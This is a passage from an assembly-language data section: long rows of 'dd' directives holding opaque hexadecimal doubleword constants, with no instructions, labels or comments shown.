		dd 14DF0348h, 2D047A1h,	0EC3BE8F1h, 0E27FD371h,	0CD118303h
		dd 81E78117h, 40C6912Dh, 1075BDDh, 6FE54F02h, 4197BDECh
		dd 0EC03050Ch
		dd 0C9008A80h, 74F247E0h, 0F1F7657h, 0DB88BEFDh, 0CE5CA480h
		dd 8B734443h, 7DF0E800h, 0F4590775h, 0C427009Ch, 5FFE26FAh
		dd 3F3B2F0Bh, 0E0E280D1h, 0CEA34E67h, 0B63A00F4h, 4A387AD4h
		dd 9F001130h, 9345F299h, 1F846775h, 0C0F7523Bh,	3EC19534h
		dd 0FF3E48FEh, 6E3AF486h, 0C4D68FDEh, 0E85FA111h, 18CC7C66h
		dd 73391CA8h, 0C05DDE07h, 0EBC94DA7h, 7D00FEB5h, 8C852F0Ah
		dd 0DF46EAh, 4151A904h,	4E56610Dh, 0DAA13800h, 836CC412h
		dd 0A9D40052h, 0F5E69A39h, 790094A7h, 80AFED15h, 0EA4036EEh
		dd 0B061004Dh, 4E9759A4h, 0A6067F2Dh, 76248396h, 0CF87006Eh
		dd 0AAF2E568h, 4800D46Ah, 94BE2BACh, 0CA327Bh, 67BF9E6Bh
		dd 0D5FF2D1Bh, 5CD7EB00h, 693E4586h, 3B080068h,	5928B2AAh
		dd 0A40051E4h, 1F81AB3Dh, 7F13E64Fh, 0B9AC02C4h, 719184C1h
		dd 28C1F0AEh, 0C8BBB43Fh, 0B2F83220h, 4811FE00h, 5C3EDCE1h
		dd 0CCB551ADh, 6A91F4h,	0FDB3EDCAh, 9D8E50AAh, 4D07347Fh
		dd 48EC83D7h, 0F4F23C80h, 7884002Ah, 4F24410Fh,	0B230B619h
		dd 110271CEh, 0F0F55A21h, 4706F785h, 17AF82DFh,	3CFF020h
		dd 4BDB8BDCh, 6600A132h, 2723B43h, 0E0FF1C52h, 2C4107AFh
		dd 8003491Eh, 0B25B2610h, 7A766401h, 0E7EBEC3Bh, 417BE09Ch
		dd 4EFF7248h, 0CF18F6Ah, 8482461Ah, 4A430320h, 9D2FC378h
		dd 0FF92DA98h, 2AFA0F10h, 487E4102h, 0C96383ECh, 54974103h
		dd 0C09D2ABDh, 7074FFF3h, 0CE3100C1h, 459F810Fh, 0F50001A0h
		dd 3456D603h, 1E470C71h, 0C073360Ah, 0A28A7B35h, 5B1E3DB1h
		dd 0A68048F6h, 0ECB69B0Dh, 0FED5FEAEh, 60B900C2h, 888B0959h
		dd 690017C8h, 75CBC10Ah, 0DC6434h, 0FF5FD64Bh, 712682ACh
		dd 1546E400h, 70B41FEh,	60F895h, 3CB14925h, 226CCC61h
		dd 693D5570h, 0C488009Fh, 5FAAD6FDh, 725EFC3Ch,	27E50EE7h
		dd 0C004386h, 34ABE45h,	208D8A0h, 4C483600h, 0A1E0C146h
		dd 65400A4h, 49E3A9Bh, 0A800A039h, 3698CAC4h, 517CF684h
		dd 0B6C0A035h, 122BB8B7h, 5F1A1B40h, 80480000h,	107515AEh
		dd 2FE11902h, 8F504DBDh, 0E47CE310h, 63C5B864h,	38C018B3h
		dd 0C44610F9h, 2E95806h, 730F54Dh, 0A18CA598h, 38AAB0CBh
		dd 0DC0047FCh, 1F360E7h, 0B48FB6h, 89E413Dh, 91257983h
		dd 0F1491401h, 3B4ACA94h, 504B7BDCh, 374DAB56h,	4089F6E8h
		dd 99F12E89h, 21B7FF01h, 0B470FB0Fh, 486E41C8h,	866510E3h
		dd 7944151h, 2472DBF1h,	2407FF14h, 2185FBE6h, 7A9C5C0h
		dd 8C6B541Bh, 0E84B8C0h, 0F55DD8CDh, 0F36A003Eh, 0ACF66EFEh
		dd 4A60C770h, 0EA119EE1h, 0ECFC001Eh, 40EF837Ah, 0C01EA4A0h
		dd 9D03167Fh, 0D88641E6h, 5751B87h, 5A8E3ACAh, 61C3814Ah
		dd 3391D44Eh, 0CE014DB0h, 548828F3h, 80D064B0h,	5ED000ACh
		dd 2E87C7E2h, 280079E0h, 8F7817FBh, 835568h, 0AF86F814h
		dd 0F490EEB4h, 19FA3D00h, 2867799Dh, 6B7800A2h,	4A4B3216h
		dd 8F291A44h, 58D7042Eh, 3D6075F5h, 0F1B23C10h,	0E51F00C0h
		dd 1A937742h, 7E125E1Ch, 0C70085A0h, 12EB6BFh, 29FE6F29h
		dd 44F188D0h, 0F89720FCh, 0C28A813Fh, 0A3140D27h, 0CA42A808h
		dd 218624F7h, 4410515Fh, 2780B7BCh, 8B289F6h, 0B05644D3h
		dd 10EE1084h, 0CAE213Eh, 6CA140D4h, 0EA682284h,	5619BA42h
		dd 8D829DDh, 0C3C52071h, 1D74F620h, 807C1723h, 8C4E7890h
		dd 0EC0C2D18h, 19209970h, 40F5071Eh, 406D9EE0h,	0F89B078Fh
		dd 918C3C00h, 6F7348E3h, 13BB055Ch, 0C0CBAE32h,	87B12135h
		dd 265B8C00h, 0EBBF0648h, 3AD5F619h, 2C87C825h,	703EA679h
		dd 0E9D7B6B1h, 60D1BC3Ah, 0F3A25A10h, 0C52900D3h, 7AFEEA15h
		dd 6A00ACC7h, 93F59C0Ch, 2C3D7F76h, 1E7F907h, 0DC745A97h
		dd 13108070h, 5937AC5h,	0E5548075h, 9BA170Bh, 66670037h
		dd 0C094587Ch, 4B62F750h, 4C032CB1h, 6F3A445Fh,	6B769092h
		dd 0CAFD0035h, 37FA3BC2h, 0E600EDCCh, 0E48B8DF4h, 38E5882h
		dd 1970832Bh, 6DA0AB75h, 0B6007E16h, 159F8D22h,	47971Bh
		dd 6A1C4912h, 383DB0C2h, 0F600EEECh, 7ABAE7F4h,	18916F6Bh
		dd 87B9778h, 0DE009E69h, 52A6C18Bh, 1D26893Ch, 0E8B366h
		dd 5EEFE1B1h, 840003BAh, 3B08ED13h, 16ACAFD4h, 754802Eh
		dd 4089C3EAh, 1DFB2696h, 0E84B2F26h, 0E6AF3600h, 1631C4Fh
		dd 0E0CEA3ABh, 409384D0h, 268B76ACh, 0C2AD5D00h, 9FC5E59Ah
		dd 0B18C18CDh, 0D5C81989h, 7F98DF00h, 0F751E11Fh, 37870059h
		dd 7463F32Ah, 0DD0710E5h, 9D5D43ADh, 0FEDE2E10h, 0AC77008Ah
		dd 0C5CF95CBh, 640E0EB7h, 0E2A3423Dh, 83F9BCBDh, 0DACE1BA8h
		dd 86ABE029h, 9F31211h,	0DF040040h, 0BA93856Fh,	0B3809D50h
		dd 0AA90BD00h, 468A67C3h, 1F977A6Ch, 0C00FDD0Dh, 0BCEC5938h
		dd 0AE0073CBh, 0F13AAC26h, 2176A5Bh, 0E1C6967Dh, 0FC80D837h
		dd 13EF1A09h, 0C5C8F600h, 0AFD5A1F4h, 4016000Dh, 99DB817Bh
		dd 83003B0Ch, 7E9EF57Ch, 0F1EE113Dh, 0E36A9FFCh, 7888E8h
		dd 810F05D1h, 5BCEAD7Eh, 801C313Dh, 6D57557Ch, 7C69DC4Bh
		dd 0C9850E3Eh, 0F02083ACh, 8DCEE9B4h, 8007363Ah, 0CE10FE7h
		dd 29949ECh, 8A023060h,	0E080A46Eh, 0BE5182EAh,	0B300837Ah
		dd 684E94BFh, 706DDE76h, 64110042h, 0C3EDF3D3h,	29009012h
		dd 84A3BF09h, 5034D2FAh, 1EC6F043h, 804C367Bh, 92106E71h
		dd 0BC28C0D0h, 77030C01h, 0AA2D1268h, 0A2EEA0E0h, 87B70792h
		dd 7D384FFh, 0FA0EC3D5h, 288D2BE8h, 0FD15DD00h,	3BBC278Ah
		dd 12F0A092h, 38240783h, 0A0B78F2Ch, 6BDA0326h,	0B527EE00h
		dd 87AAE1ECh, 179B140Eh, 0E4E0C0E0h, 0B85031BBh, 410F28B0h
		dd 0E107AA8Dh, 9F72951Eh, 1FB5DBE8h, 40D1B07Ah,	0CB435F86h
		dd 70009BE0h, 74A2C18Dh, 0CF31C2h, 1FD86EBFh, 37D2AB6Ah
		dd 0BA0B5A00h, 0C95C84BDh, 0C752009Dh, 0F0D041AFh, 0FA325923h
		dd 4029968Ah, 85B43Ch, 582CCADDh, 3465E8DBh, 3AF8B900h
		dd 408AC1F9h, 4C140012h, 1C0E27D8h, 6048D23Ch, 11DF00BCh
		dd 0F2AB3A7Fh, 94621ECFh, 0BF57C24Ah, 0C8421E95h, 7B9E0183h
		dd 2232E9E0h, 442DB600h, 0C9035FE7h, 1C8E0112h,	0C230B197h
		dd 63F6FC2Ch, 803B1000h, 5FB445FDh, 0F5F300D9h,	0F71B0ACBh
		dd 0B100EDD8h, 94DBCDBFh, 3A6326D2h, 0E5A8AFC6h, 0D83A1C0Ch
		dd 4EBE0E20h, 0E6678F9Fh, 0F1EF5C20h, 537CE8C4h, 73DB3C00h
		dd 9BEB8E11h, 10E098B8h, 843B6CE7h, 4C05E5Dh, 7ADF40h
		dd 5CA9C61Bh, 138ED4BEh, 0C548310Ch, 241F7E4Dh,	64B6D1h
		dd 852A7FB0h, 7573C258h, 0FD00B97Eh, 66744313h,	0EE2BA592h
		dd 687FAEh, 6165C280h, 7B49B572h, 8D072C73h, 919AAC0Dh
		dd 2701241h, 39D451F1h,	0C3AF0199h, 0A1799404h,	8C22F0BEh
		dd 0D9D04400h, 0E35465F9h, 0B2DA0028h, 2EAE7861h, 5AE2F0D8h
		dd 9093C300h, 0C04D687Fh, 89D40072h, 0BC25AD0Dh, 18003473h
		dd 7B0E32F7h, 0F84ED8h,	0DD6D795Ah, 0F00F1543h,	66E4D60Fh
		dd 0BF63E053h, 2D5E48h,	752CB401h, 398B8704h, 0F7E3A200h
		dd 0AE9C3DC9h, 6CFF000Eh, 4748377Ch, 94C04ABDh,	6BD5E698h
		dd 2DA501C8h, 0E44E10F5h, 270EDC39h, 9D578538h,	0E8C09BE5h
		dd 0EAABEC5Dh, 552600B8h, 6640F250h, 0E7049F08h, 8EE958CFh
		dd 0C49A6CC2h, 0C31F08CCh, 87944B7Ah, 46E9000Ch, 9B79E47Dh
		dd 97727Ah, 116D151Dh, 0E9AFC9Eh, 9400A6E4h, 0E2B70466h
		dd 487D6836h, 0D4009197h
		dd 88624CC0h, 99F05457h, 0D5136613h, 9FE9C400h,	0A068DC36h
		dd 894DFCh, 3D45F427h, 6CADD541h, 0CB8DDF02h, 0C37A58F5h
		dd 0B655C81Ah, 3AF14D6h, 0C4808412h, 547FCB49h,	0B3DA7B00h
		dd 0FB213086h, 3477B9h,	65B03CBCh, 89D09687h, 0F5AB63Ch
		dd 60B2565Eh, 0CEFBCDB1h, 9A15000Ah, 0A571A797h, 5B02E235h
		dd 9F41D5ABh, 0B0C0833Dh, 8D71B72Eh, 89C05925h,	0B32F005Bh
		dd 937E9120h, 790E4D58h, 42C8F8A5h, 6B70469Ch, 0E3A19F60h
		dd 4DD883C9h, 4F49301Ch, 6BA0CD84h, 5D1B0B1Ch, 7A5443C0h
		dd 581D9026h, 0B2002598h, 1B8FD5FBh, 0E1FC4F12h, 0F430DF00h
		dd 8C9E8170h, 4CBD0146h, 0A8029CF5h, 0CA6C303Fh, 0CCFEF800h
		dd 89EA1218h, 96040098h, 1D9952D5h, 82E0052Bh, 0FAEF3Dh
		dd 3E633AEh, 204772Ah, 0E3B3991Ah, 5740F0F2h, 8874D59Ah
		dd 0F1956107h, 0BDB0247Ah, 0EAA8F653h, 0ED7E00FEh, 0DAD3E2E9h
		dd 107936C7h, 0F56A9100h, 81C9BCDBh, 0D7521C14h, 0C0DF1EC5h
		dd 5BD91182h, 0EFA09DBDh, 2C00A735h, 93C4BE14h,	0ABA5A0h
		dd 0CE8BF7CBh, 21B1E9DCh, 7BA25F00h, 435294C3h,	0B005EEEAh
		dd 0BD7D0040h, 0B050B92Ah, 45001134h, 5BC090ADh, 3817DCh
		dd 0DD1256CCh, 0CFCD9918h, 80F1143Fh, 0E51C7567h, 7446AAF7h
		dd 84B90031h, 0C679D3ADh, 0D00013C1h, 3AD283C5h, 908859B5h
		dd 572A0590h, 0C0E3728Ch, 0CC5A5F98h, 0D0C0CB3Dh, 561F9A0Ch
		dd 0F43DB7ADh, 6917E609h, 2F6300C5h, 0BD29AEh, 13E2A9ABh
		dd 0A5B43298h, 4906648h, 0C3591D6Ah, 0AABA941h,	8EC051E5h
		dd 21C82060h, 0EE2633E0h, 0A7001E9Ch, 22666CBFh, 84C60088h
		dd 1C5A618Fh, 0E7844EBh, 391E05F4h, 8DC7E9A0h, 0DD205134h
		dd 981921B2h, 923E00FCh, 73F1D9ACh, 51EEEEF4h, 10C6291Fh
		dd 995DC9h, 567D91C4h, 0A75C30CFh, 756BC510h, 19E2F401h
		dd 0CC7B7C66h, 532E8428h, 0D61705C0h, 61CCD787h, 816E6413h
		dd 4092F5A8h, 57080EEh,	0C18663F2h, 3DF0E68Dh, 354C4B66h
		dd 0EA30390h, 6B38F1h, 96464C20h, 0B06F0D77h, 5BE023FCh
		dd 8F062118h, 89A5610h,	920D0A75h, 0B989A100h, 733F596h
		dd 4F7379C8h, 0C74710B4h, 620790DCh, 0DB5514E6h, 33435AE0h
		dd 61D307FFh, 700B5742h, 8C92D9E3h, 2687A107h, 7205E96h
		dd 480F69h, 0ECB253FDh,	0E0E3D6F6h, 22274B00h, 664E24C7h
		dd 5BEA0FB6h, 0F120888Ch, 10B0FB87h, 83152B00h,	2EC35C47h
		dd 8DB300F7h, 30025AD4h, 3F79425Dh, 8C00467Dh, 686A48B2h
		dd 32418FDh, 5AC9DCC6h,	1EC00CD3h, 3D00DE7Bh, 0A4DDF454h
		dd 0ED71Ah, 0AB9019B1h,	0A5EC89B8h, 3567BD00h, 3A452717h
		dd 9EE0F50h, 13A0665Fh,	0C155C914h, 0C82EEFE2h,	2500F16Eh
		dd 7D4118F6h, 760702E9h, 674995E6h, 1CC28C83h, 399E1C0h
		dd 0B48F6E01h, 0BD6915A0h, 6FFD0C41h, 0A05D6CC8h, 8ED0EEh
		dd 35AB67C7h, 0E2C2E139h, 9BFEF405h, 0C8C0AE8Ah, 54169Ah
		dd 4CB40ED3h, 0A110A4FCh, 0B843E500h, 5D33CC07h, 140B0006h
		dd 86AE187Fh, 47009655h, 1369B074h, 0BCCD38h, 0A682456h
		dd 0BA717A80h, 0DB38C1F4h, 9E6D9E55h, 924953C0h, 105605h
		dd 3314AA3Dh, 0ADD768C4h, 552A4009h, 0F71400ABh, 7FE09Ah
		dd 9B0F5C64h, 0A97B2CFBh, 5A2F7C09h, 99E8001Eh,	183B5E2Dh
		dd 91CD8196h, 601EC0E4h, 6943C85Ch, 1C836F2Bh, 395A5618h
		dd 5D3DDF80h, 0D67FB4C5h, 12318260h, 2CDC5485h,	58DE78h
		dd 0A39F1A3h, 76000382h, 724F7E0Bh, 0A09AAB05h,	7A58C4B8h
		dd 66561697h, 0CE01BB33h, 8425D894h, 0E0E7A084h, 571B80DCh
		dd 3405DBBBh, 1FA26053h, 0C5550C00h, 0E04B9D5h,	4840D847h
		dd 83A59DC0h, 25002CA3h, 8BD43F5Ah, 0FC72FE74h,	0AC343FE7h
		dd 8CEB1Fh, 652D0BBBh, 0F700A727h, 0B1A5FE37h, 3A636A17h
		dd 7A435Ch, 0EF589787h,	0A62CE808h, 9080E401h, 6DDBB149h
		dd 73AF208Eh, 7C5C4080h, 548099Eh, 0A3810364h, 0C3741F20h
		dd 6C281D6Bh, 0D3B301B9h, 0C3F9BB9Dh, 2B5A1F80h, 8735DF00h
		dd 0D2CB133Ah, 95F60292h, 7BD39BA1h, 0F8DED041h, 0DC02746Fh
		dd 9CF25BE5h, 38ACC0F6h, 5D781Dh, 295FF942h, 75136F21h
		dd 869030CFh, 0E18E509h, 8E549B57h, 954DED80h, 0F8E082BCh
		dd 924A2500h, 7A78CDF7h, 2BA8076Fh, 0B0F6FE39h,	2422CC3Dh
		dd 1A772300h, 1050BD16h, 58291CDCh, 2F39C07Ch, 156747F1h
		dd 98DAEF1Bh, 6F61B898h, 2C7C72h, 55F6E27h, 0EEDB0F4Ah
		dd 3A8C6800h, 4BFEA352h, 67410084h, 13092C21h, 98509E0Dh
		dd 5607AD0Ch, 0AFE1D636h, 6AB49540h, 22122E9Dh,	0C89E0FD6h
		dd 0E041879Dh, 0B7809B60h, 352BEC5Fh, 0DA00187Ch, 5233D12Fh
		dd 1D30A0ACh, 0F0DBA70h, 2A60B66Ch, 0E836824Ch,	0E9274700h
		dd 3E03A85Fh, 7F41000Dh, 0A667825h, 2000517Ah, 999F4523h
		dd 0E4A2F32h, 873801FBh, 0E1DD00B6h, 0F42DD375h, 0D88FD030h
		dd 46D426h, 0ADD14850h,	0F990EAAAh, 5C0118C0h, 0C5BF87h
		dd 73D80743h, 0D44D33DDh, 64393C00h, 3EEB8451h,	0FB10C2FEh
		dd 0E3554FBAh, 5CF6B0F5h, 483460E8h, 57814770h,	62ADDE07h
		dd 0D580D1A7h, 2406F0h,	703790F9h, 0A357301Ah, 0DB288500h
		dd 8CFD4D9Bh, 99EC3E2Bh, 26EA17h, 32BE3419h, 0CC0037D3h
		dd 51A690AEh, 10B96F0h,	2A3E7B47h, 803D7653h, 11A734F0h
		dd 9D8A175h, 9D47904Ch,	27181016h, 0C1303A12h, 641C009Ch
		dd 0F4527BA7h, 90A8484Ah, 11CCFAFh, 0BF809B41h,	0F383461Ch
		dd 3890031h, 29F1C5C6h,	123FD498h, 0E4DF001Dh, 0E0207492h
		dd 443D0EDAh, 1383A4h, 2BEF1879h, 69305DEDh, 8FA52046h
		dd 4A10870h, 0F4803014h, 2C7C8921h, 6010C01Ah, 0D54B920Eh
		dd 651F0902h, 40516C94h, 725591B0h, 0FE210E25h,	0E043BCDAh
		dd 0D0003984h, 64DC6FBBh, 0F8427E99h, 153B00FDh, 0C3D12BF0h
		dd 26749F85h, 9833DE1Fh, 3E7996C0h, 82EE59h, 0E3C401E6h
		dd 0B89469F3h, 393D9500h, 41DD538Fh, 0B6271248h, 99F300C4h
		dd 0EDCF4728h, 0AD07100h, 8326332Fh, 7FA401B4h,	0CE93493Eh
		dd 0A480FE1Fh, 6A14C9DEh, 0F61BD500h, 0CFB6C14Bh, 0FB72BFh
		dd 0C5D4D1C8h, 3E62B369h, 0B1291060h, 1A8C71Ch,	3FDF4D06h
		dd 20312176h, 157962B9h, 8ED59000h, 8C8168EFh, 4260005Bh
		dd 0D0393EB3h, 0B700501Dh, 53FCA629h, 33702Ch, 97DBF2FEh
		dd 9594A46Ch, 0F5F3D401h, 0A1748DDAh, 282098D9h, 0FD130F05h
		dd 8E630E86h, 0C0D6EECCh, 7F721D2Eh, 7E5A1503h,	7516E8A1h
		dd 0C055094h, 0ACE064h,	0AF2AF665h, 96D4E9D8h, 5C5BF300h
		dd 55480233h, 0F51700EBh, 0BF66F943h, 0DA00EED9h, 15B4474h
		dd 0EAE755C7h, 7DE8C9A5h, 8719EA83h, 0AC1B40FFh, 7909D8F6h
		dd 0D66769A2h, 0C7A79E80h, 0D0E7CCEDh, 0B2029DB4h, 54565700h
		dd 5B6B53EFh, 0C5074C84h, 0A92C180Ah, 0EB7140B4h, 3200AC08h
		dd 0DFBFA027h, 22E6638h, 51A888Fh, 0DC8236BDh, 5405AE3h
		dd 1104C85Eh, 9CFFDC7Ch, 0E64EC4C0h, 90930083h,	0DAE181C1h
		dd 0BD00172Eh, 9D119265h, 0B3A901h, 90513163h, 4EC9DA67h
		dd 7935E805h, 5780BFDFh, 98FAA058h, 2E310093h, 9BBB4B36h
		dd 0E5EA11EDh, 0FD001475h, 13028AB3h, 3D32412Ch, 1781D146h
		dd 232B38ABh, 3325FC6Ah, 44B5C800h, 0FAF9A32h, 0BE200055h
		dd 1EFE0BF5h, 0B301401Ah, 5825B1D4h, 0D0DC80ECh, 0AE6A0011h
		dd 4C9B02DDh, 0A105D316h
		dd 5DC79892h, 4E4AF802h, 5B98C8E3h, 4CE6589Ch, 0C7163900h
		dd 8ADCFFE4h, 9E3E7C00h, 15A103C5h, 144A07FAh, 90643610h
		dd 0D2875238h, 75677F0Eh, 0FD435F7Bh, 0D77CD3A9h, 7C1193Ch
		dd 159A0A7Ah, 884941F6h, 28282209h, 0F349E76Eh,	0A7B40234h
		dd 0C04B2498h, 0C091Ch,	49FCA013h, 0E8CDD779h, 405CA100h
		dd 46444F6h, 0E3C33ECAh, 0C4C8971Eh, 0D09D51D0h, 0BA2049C4h
		dd 1DF78B0Eh, 54CF2696h, 5A90318h, 0AFA7E51Fh, 7D3029C0h
		dd 1D4C8C90h, 4F077EB0h, 44E70E64h, 0A687B670h,	88B300DBh
		dd 0F0D82CDCh, 9072951h, 0B93530F9h, 43372820h,	6375009Fh
		dd 3DFBF0EFh, 0D900F2A3h, 13AFBC8Dh, 0C8CBD6h, 2DDFB478h
		dd 877C02BDh, 0EE49A812h, 0D6B06407h, 6C8A34C0h, 8F30071Eh
		dd 20DC3975h, 8BA1E5BCh, 31BA3A00h, 12796CB1h, 83B0F52h
		dd 0E809743h, 0A6F455FCh, 2F0C2500h, 2790780Bh,	3A0989Dh
		dd 4B59C0AEh, 0F3F8DAC3h, 7D14672Ah, 30CA665h, 73FD1698h
		dd 3488ADF7h, 0E73C0065h, 0F25921EFh, 0C200EC5Dh, 728B4C07h
		dd 1278497Ah, 1CCA8E3Eh, 0D04880FDh, 0CE120618h, 0E2F3FD00h
		dd 9A77650h, 317A004Eh,	2AEF1F08h, 0A60E8E39h, 801EEBE0h
		dd 2642C2FBh, 42A75C07h, 2253DA01h, 804C175Dh, 0EFACAB60h
		dd 0B08C29h, 2D3FBCBh, 0ED948524h, 0D44E8200h, 45F48D07h
		dd 3C8803ADh, 5B71873Bh, 429FFEA8h, 673A190Eh, 0E7E204Ah
		dd 0E3732EEh, 0A47D5327h, 71B000B2h, 0ACCC5E2Ah, 7236B205h
		dd 0D0D0193Dh, 2CFBC1h,	0EA638CFEh, 415C18E3h, 8E0C8F50h
		dd 0AEE82900h, 0FFEABD07h, 406D00F9h, 2C42CBE1h, 0BF00778Dh
		dd 0E8E5FBE6h, 0EAAD6Ch, 7E3928CEh, 2553E47Ah, 6F941F00h
		dd 0B38EE999h, 9037392h, 186E6995h, 0A136F480h,	0B10011BFh
		dd 5639A62h, 6B391Ch, 0A8781643h, 56FD2080h, 16E0C958h
		dd 2000C318h, 0C089E61Eh, 0C81C0045h, 1B6951BBh, 6D1DB886h
		dd 1AC09915h, 0E2F766DEh, 0F01000DAh, 0EAEDF8F4h, 3002AE4Bh
		dd 8D918907h, 35F04094h, 40AD0020h, 8C132BF7h, 0BA00BFBBh
		dd 0D0E40E55h, 31937Fh,	0A039226Fh, 7E406623h, 0F6F54702h
		dd 6135BB01h, 0D7F84AACh, 23062C79h, 27AC0058h,	989EF3C1h
		dd 501B3705h, 848713BDh, 0CE6B10F0h, 8ADD0014h,	0D6772D17h
		dd 3E007305h, 10CDB569h, 4D4E0F4Fh, 8E0008E7h, 3D57140Dh
		dd 0F10056BEh, 2B66C21Ah, 59DDB9A1h, 0C807D067h, 0F6E2010Ch
		dd 0CC011099h, 0E63078BCh, 8FDDC961h, 14C02980h, 34D20E82h
		dd 0F4C858h, 4940CFECh,	4A81BB9h, 68BF5194h, 0FAE5744h
		dd 0C1E755F5h, 0A86082C7h, 222A68C0h, 0EB4DA7F8h, 0A9910F9Ch
		dd 80E34BA2h, 0A18D64Ch, 0EAD24A1h, 5DE00151h, 0EC65BBBDh
		dd 0C917BA5Fh, 54001084h, 4609A01h, 6E7A0007h, 0E413C01Ah
		dd 28002FFDh, 0AFB1F0F5h, 93F6B0h, 5BCD7CAAh, 2F0926B6h
		dd 0D145FB12h, 405D0C0Bh, 7D166A6Dh, 3F8F7684h,	0BD8C015h
		dd 428126h, 4A606577h, 900031E2h, 82277336h, 11E359h, 0DE48F229h
		dd 39076986h, 744A9C7Eh, 2AFDF403h, 0C2ADA0CDh,	82860083h
		dd 0A885FACEh, 1D1CECABh, 84C14504h, 494313C3h,	718C5DCh
		dd 556495E9h, 474A1011h, 0F30B488Eh, 0FEFC3F2Bh, 363B0035h
		dd 0CC624D0Ah, 0DAEFBB00h, 0E2596C85h, 0A31F00E1h, 5209CB89h
		dd 1601B62Dh, 652924C3h, 6CCC7E3Eh, 1FD800D2h, 392EAE46h
		dd 913C35E5h, 0C97C8011h, 77FA5FAh, 0E8F004A6h,	80233879h
		dd 0C3E998F8h, 91460400h, 20EBE228h, 8AB928A4h,	0C980Ch
		dd 87FFB6E1h, 330647E2h, 0D3ECF801h, 5F95050Ah,	243FEF0h
		dd 0B644F182h, 0F840D4F2h, 0FC024586h, 8A406911h, 7CE8C0C5h
		dd 0B868B179h, 43115A96h, 5D344D58h, 0C647C08Ch, 309C4C7Fh
		dd 5EAB7A00h, 0B21F3FAh, 0A3B18658h, 9833D821h,	66A4742Ch
		dd 1743D0Bh, 82A40ECDh,	41D8DD48h, 0C09CBFBBh, 703C00CFh
		dd 0F62EECEEh, 31016DFAh, 24BEF55Fh, 1BC088EBh,	61AD00C9h
		dd 0D1BF7F38h, 35004356h, 0A86D100Bh, 4781C81h,	7D272937h
		dd 9984823Bh, 7FF4386Ch, 0D1911330h, 0E7DC15h, 257EB55Dh
		dd 8822393Dh, 1FCDA600h, 74CBE8EEh, 0A3F40FC7h,	0B6C0469Ch
		dd 0EAD72E9Eh, 32632B07h, 51B2FCFAh, 3DD8807Bh,	602F7885h
		dd 0B5DD20A7h, 82004CD6h, 0BF160B0h, 0F964581h,	0CA773E31h
		dd 0DEF6CEE0h, 52013D8Ah, 0ACA0A129h, 4C34D8A4h, 5C9F506Fh
		dd 744B17FDh, 987C07E4h, 0C09C7744h, 0D8EFAA5Ch, 9B5B960Bh
		dd 558A8009h, 15ED4C3h,	4483E0C7h, 0C005537Fh, 0F000B995h
		dd 6023B0CAh, 196FED9h,	35CF736Ch, 0F04D1B79h, 2607FD97h
		dd 2BE92874h, 818C6510h, 0BBA30034h, 218A0F0Bh,	0F93F581Fh
		dd 789F80E2h, 7A4B5EA5h, 790CB836h, 0ABB7A50h, 493EF343h
		dd 1EA692C0h, 5DFFC03Eh, 3968DAFDh, 48616C00h, 2E070198h
		dd 0E3EE0046h, 0AE9664C9h, 8C922BABh, 89775F3Dh, 0E01B92E4h
		dd 599014h, 8DDD0D76h, 227C6B0Ch, 9AC05401h, 0F34074E0h
		dd 87E873D5h, 0FB4325A2h, 93EDD082h, 0F78B846Bh, 0E6496100h
		dd 2C0109F8h, 0F9E107FAh, 0E0EB6E80h, 0AA542EFDh, 0BF5B8C3Dh
		dd 3D19075Fh, 1DC7027Fh, 85CA1EA0h, 42EF0086h, 13D815C7h
		dd 760653BDh, 607FFBC5h, 96FD9888h, 962B045Ch, 0CA5C902Fh
		dd 8CA8E50Fh, 0F0A88E21h, 0DC94D210h, 3C99D000h, 10A1969h
		dd 1BBC380Eh, 208BBAE0h, 1007DCA0h, 7BF6EE55h, 8E58EFB0h
		dd 4FC800B4h, 0A4C2698Ch, 20C00BB2h, 44FAC481h,	730E061h
		dd 0DAA3367Fh, 0D81F8008h, 3D00DD87h, 2938F7E4h, 0B65824h
		dd 93EC5540h, 18113105h, 1B1A7700h, 839BCD48h, 0C1190B23h
		dd 0C0A752F1h, 8ABF8379h, 5448B0BFh, 0BC02748Dh, 618B29E5h
		dd 53B6E075h, 0FC15009Eh, 0F9DA6285h, 8C063B2h,	74B479E4h
		dd 541B00A3h, 0E887F5D5h, 0FB0034E1h, 90842708h, 5671CEh
		dd 462463DDh, 47205FC3h, 4F40C000h, 61A8DCCAh, 42FC92h
		dd 0D36AB78Fh, 0D099C110h, 0E23CCCECh, 2F160769h, 0CA600512h
		dd 74087126h, 4D0C003Ch, 63A8E95Ch, 950094DDh, 65694EFCh
		dd 2E863F79h, 137AE7Bh,	0B9D6CF75h, 0E990DF1Eh,	180007C5h
		dd 6BDF7867h, 16B56152h, 626F75h, 23DEEE61h, 157FAE01h
		dd 76FD8F00h, 5238E585h, 0D7A001Ch, 5CF289D0h, 1D00025Fh
		dd 0D868223Ch, 9A9C191Eh, 657CC8h, 0C27E86B2h, 707DC304h
		dd 0C6D7102h, 0C04695CDh, 1F574E6h, 0A3A8BA2Fh,	34FD2433h
		dd 80002964h, 0F664D0B8h, 0C89F84h, 0DA7CD442h,	4CA0A6F1h
		dd 0FA793C00h, 6EBC2951h, 1B40389Fh, 21FFC700h,	55200441h
		dd 0C2BA526h, 8068900h,	1C1A82B8h, 0CFA23F0Eh, 0F2C022CFh
		dd 0A423F13Bh, 5BF84300h, 57C44DAEh, 0D9403BABh, 865C7504h
		dd 0C210B0FEh, 0E23B4600h, 573AD284h, 64F948E9h, 1CE02Ch
		dd 13D390C9h, 0D40393DAh, 290732ECh, 90DC80Ch, 58AF26F9h
		dd 1244028Ch, 0F0D0852Eh, 3E0A7B13h, 35868400h,	17B3DE49h
		dd 5FBFCA20h, 7D4CC328h, 0ADC08DC1h, 172E6F86h,	70012636h
		dd 0AC65803Dh, 0ECC39055h, 53280752h, 90CFAF22h, 2A851624h
		dd 0DE436905h, 0E4B06B1Ah, 91220BFAh, 8C209EE6h, 5C6E2565h
		dd 0BA4FD900h, 10A4312Dh, 0F8A62C70h, 0CC20054h, 4ECA35A9h
		dd 5B867F00h, 39FDC736h, 0FA432EA3h, 3C92CC0h, 0A9A23126h
		dd 0CA79DBD8h, 58D0E361h, 7400D0ECh, 0D332EF95h, 0A7C74835h
		dd 9B03CF8h
		dd 0B61721EDh, 46AE01BCh, 0F83BD22Fh, 62E4CFB5h, 41015976h
		dd 63E0758Ch, 0CCD0C519h, 0DA4EEEh, 89AC91E8h, 87003B30h
		dd 0C8FA4F31h, 0C1C7B8h, 0EE283DFBh, 341D9158h,	2A05F80Fh
		dd 0F8401642h, 653BCFC7h, 134F03ADh, 0B54AEA0Ch, 0F2FC92C8h
		dd 1009B8B1h, 9F6CA347h, 7622B0ACh, 315D0F56h, 21406C0Bh
